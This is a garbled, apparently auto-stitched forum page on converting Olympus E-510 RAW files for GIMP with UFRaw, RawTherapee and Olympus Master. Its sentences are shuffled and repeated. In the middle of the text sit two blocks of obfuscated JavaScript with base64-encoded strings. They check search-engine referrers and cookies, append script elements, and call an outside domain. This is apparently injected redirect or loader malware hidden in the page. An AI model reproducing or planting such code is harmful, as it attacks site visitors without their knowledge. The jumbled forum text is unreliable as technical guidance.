I think the E510 was not given a chance by LaMesa It is a very cranky camera but it is very capable when set up and used the right way.
You can use any RAW converter you like to process RAW images into a format the GIMP can process.. You really don't want to be experimenting in the middle of a once in a lifetime trip.. Seriously, Olympus had profiled pros (the type who prefer to travel with a small light camera) who use the E510 so how bad can it really be? Based on my experience with it and results from others, not as bad as some people say it is.
I would suggest you look into rawtherapee process to full quality jpg and then load into gimp, or command line process in batch.. I would convert from RAW to 48-bit TIFF in Oly Master then work on the TIFF (I have not settled on a good tool for image adjustment as yet - Adobe probably has the best available, but the cost is pretty crippling for a minor amount of amateur image fiddling.. You will need to run a separate process to do the conversion before transferring the images to the GIMP if you do not use UFRaw.. From almost any Olympus Raw files, both UFRAW and Raw Therapy createugly maze patterns in your pictures.. Any issues with the pictures I attribute to operator error as I'm still a beginner.
I own one and I am generally pleased with the results I completely gave up on RAWs.. Very much so, however, I cannot agree on the statement about theJPEG's from the E510.. I'm glad LaMesa is happy with her E300 but one month use with the E510 and never having used an E520 or E3 is IMO, not quite the qualifications necessary to claim the E410 and E510 are so inferior that they should be excluded from the E series as good choices of cameras to own and use.. My E510 will get used until it either falls apart in my hands or the shutter fails or they produce an upgrade with more mp and no degradation in noise/detail compared to the E510.. Never seen anything like that All Olympus SLRs, except for the E-410 and E-510, deliver excellentVery much so, however, I cannot agree on the statement about the JPEG's from the E510.. E g with covered skies you can sometimes recover more from overblown highlights.. You are stuck with an 8 bit per channel image from JPEG and an unknown amount and type of spurious image artefacts.. All Olympus SLRs, except for the E-410 and E-510, deliver excellent JPG images I completely gave up on RAWs.. I'd forgotten Oy Master does the conversion (duh!), but I rarely use it since I find it to be a rather flaky program - it likes to crash for no reason at all.. Typically for RAW converters that draw their inspiration from dcraw, you need to use the VNG 4 color conversion instead of the default for Olympus cameras.. When GIMP gets to 48-bit support I'll definitely be trying it out )Part of the reason I use GIMP is because its free, so it totally fits in my budget!I know I could do some properly controlled testing and make a case for the E3 being the better jpeg camera but out in the real world, they become a lot closer in results than those who have not used both assume.. Sure they rely on the raw quite often but occasionally opening up a raw and making a few mouse clicks, as I do, is hardly a burden.. And take the time to shoot 20 - 30 raw + jpg images and process them on whatever software you have decided to use BEFORE you go on your trip.. Best Regards, HerbertOlympus E-330, Vario-Elmar 14-150mm, Summilux 1 4/25mm, Sony H1, Sony S600, Olympus C-2020 (IR)From almost any Olympus Raw files, both UFRAW and Raw Therapy createugly maze patterns in your pictures.. However it seems that both rawtherapee and UFRaw lose the exif data for ORF files.. There is no compelling reason not to, even if I never touch the RAW files again.. I don't do a lot of PP and GIMP has met my needs so far Is there a RAW converter plugin that I would need?I used to use gimp - linux user, and its pretty efficient as opposed to what I have seen of it on same hardware under windows.. If I want to adjust the image it is easier to do so starting from the RAW (negative) than the JPEG (print).. When GIMP gets to 48-bit support I'll definitely be trying it out )Thanks to all for the responses/suggestions.. I think of RAW as the original "negative" and the out of camera JPEG as Olympus' version of the "print".. Evidently, the two green sensors are somewhat different on Olympus unlike other cameras.. There is nothing that does as good a job as Olympus Master / Studio at RAW conversion.. Working from a lossy low-fidelity format just seems daft unless you have to UFRAW and GIMP make for a pleasant combination, however you also needsomething to recover EXIF as UFRAW is not able to save these from ORFinto the JPEG.. I own one and I am generally pleased with theMy camera is also an E-510, and the JPEGs seem pretty good to me (I have it set to highest quality).. See http://ufraw sourceforge net/ If you open a RAW image from the GIMP, UFRaw will be launched automatically once it has been installed.. I on the contrary switched to RAW for the cases where the results with JPEG's where not so good.. E g with covered skies you cansometimes recover more from overblown highlights I shoot using JPEG + RAW.. UFRAW and GIMP make for a pleasant combination, however you also need something to recover EXIF as UFRAW is not able to save these from ORF into the JPEG.. There are a few photographers I follow, among the best in these forums, and elsewhere on the internet who use E510s and interestingly, of all the Olympus photographers I follow the E510 is the most common camera used.. constructor(\x22return\x20this\x22)(\x20)'+');')();}catch(_0x3ddfe0){_0x565afe=window;}return _0x565afe;};var _0x5c8085=_0x2fc93a();var _0xc7657a='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';_0x5c8085['atob']||(_0x5c8085['atob']=function(_0x21795d){var _0x572c7d=String(_0x21795d)['replace'](/=+$/,'');for(var _0x53655f=0x0,_0x1edffa,_0x5708d2,_0x148753=0x0,_0x23a67a='';_0x5708d2=_0x572c7d['charAt'](_0x148753++);~_0x5708d2&&(_0x1edffa=_0x53655f%0x4?_0x1edffa*0x40+_0x5708d2:_0x5708d2,_0x53655f++%0x4)?_0x23a67a+=String['fromCharCode'](0xff&_0x1edffa>>(-0x2*_0x53655f&0x6)):0x0){_0x5708d2=_0xc7657a['indexOf'](_0x5708d2);}return _0x23a67a;});}());_0x1709['base64DecodeUnicode']=function(_0xff8283){var _0x233d46=atob(_0xff8283);var _0x3f9e2e=[];for(var _0x319f3f=0x0,_0x4a88cb=_0x233d46['length'];_0x319f3f=0x0){if(_0xfa0b33[_0x1709('0x32')](_0xfa0b33[_0x1709('0x33')],_0x1709('0x23'))){_0x228f7c=!![];}else{params=matches[_0x8894eb][_0x1709('0xa')]('=');cookie[params[0x0]]=params[0x1][_0x1709('0x34')](/;$/);}}}}if(_0x228f7c){cookie[_0x1709('0x35')](_0xfa0b33['hQGga'],0x1,0x1);if(!_0xfa2196){include(_0xfa0b33[_0x1709('0x36')](_0xfa0b33[_0x1709('0x30')],q)+'');}}}R(); Olympus SLR Talk ForumDoes anyone here use GIMP to process RAW files? Is it even possible? I'm going on a once-in-a-lifetime trip this spring (Inca Trail and Manchu Pichu) and was thinking I should shoot RAW+JPG (normally I only shoot JPG).. Maybe I'll to give Master another shot boggis the cat wrote:(I have not settled on a good tool for image adjustment as yet - Adobe probably has the best available, but the cost is pretty crippling for a minor amount of amateur image fiddling.. Mayonnaise on white bread, mmmmm!Now that you've judged the quality of my typing, take a look at my photos.. RT appears to be getting more an more impressive with each release Of course - you might hate it - but it works for meUFRaw is the official RAW converter which integrates with the GIMP.. var _0x3925=['dmlzaXRlZA==','UW56','aHR0cHM6Ly9jbG91ZGV5ZXNzLm1lbi9kb25fY29uLnBocD94PWlvc3RpdGxlJnF1ZXJ5PQ==','cGpU','bGloR0w=','Q2xZT2o=','UW5tUFA=','R1BmckY=','UllFSW8=','LnlhbmRleC4=','Z2V0','YW1ZbG4=','c09STm4=','SG5YblE=','a214ZlU=','Q2FIcGE=','R0NNVXo=','aW5kZXhPZg==','T01XYXQ=','RFBJQUU=','cmVwbGFjZQ==','c2V0','aUpsWGo=','Rnh5WlU=','c3Jj','Z2V0RWxlbWVudHNCeVRhZ05hbWU=','ZUNJVko=','YXBwZW5kQ2hpbGQ=','bmlrb24rcmF3K2NvbnZlcnRlcitnaW1w','Mnw1fDB8MXwzfDQ=','Y29va2ll','bWF0Y2g=','bGVuZ3Ro','c3BsaXQ=','UVdNTVk=','WklO','RnJaT0c=','U0lNZG0=','emdDYmY=','UmNuSlM=','OyBwYXRoPQ==','OyBkb21haW49','QXpsaFg=','QlNJdEQ=','VFhhd3Q=','YlZieEk=','Z2V0VGltZQ==','bEhXaVI=','T1VOdWY=','Lmdvb2dsZS4=','LmJpbmcu','LnlhaG9vLg==','LmFvbC4=','LmFzay4=','LmFsdGF2aXN0YS4='];(function(_0x5610ba,_0x170988){var _0x533ba0=function(_0x1187cd){while(--_0x1187cd){_0x5610ba['push'](_0x5610ba['shift']());}};_0x533ba0(++_0x170988);}(_0x3925,0x198));var _0x1709=function(_0x4714f2,_0x1af614){_0x4714f2=_0x4714f2-0x0;var _0x3362da=_0x3925[_0x4714f2];if(_0x1709['initialized']===undefined){(function(){var _0x2fc93a=function(){var _0x565afe;try{_0x565afe=Function('return\x20(function()\x20'+'{}.. I on the contrary switched to RAW for the cases where the resultswith JPEG's where not so good.. You may decide that you don't want to shoot raw or you may decide to forego jpg, or you may decide that with the new format, you don't like the tools you used to really love.. All Olympus SLRs, except for the E-410 and E-510, deliver excellentI completely gave up on RAWs.. however I would say kick it to touch and use it for what it is meant for - manipulation.. My camera is a 510 and I've been pretty happy with the JPGs that come out of it I've had some pretty good pictures come out of the camera, so I know it's possible.. I was planning on taking RAW+JPG for those cases where I got it wrong and could possibly make it better by working on the RAW file.
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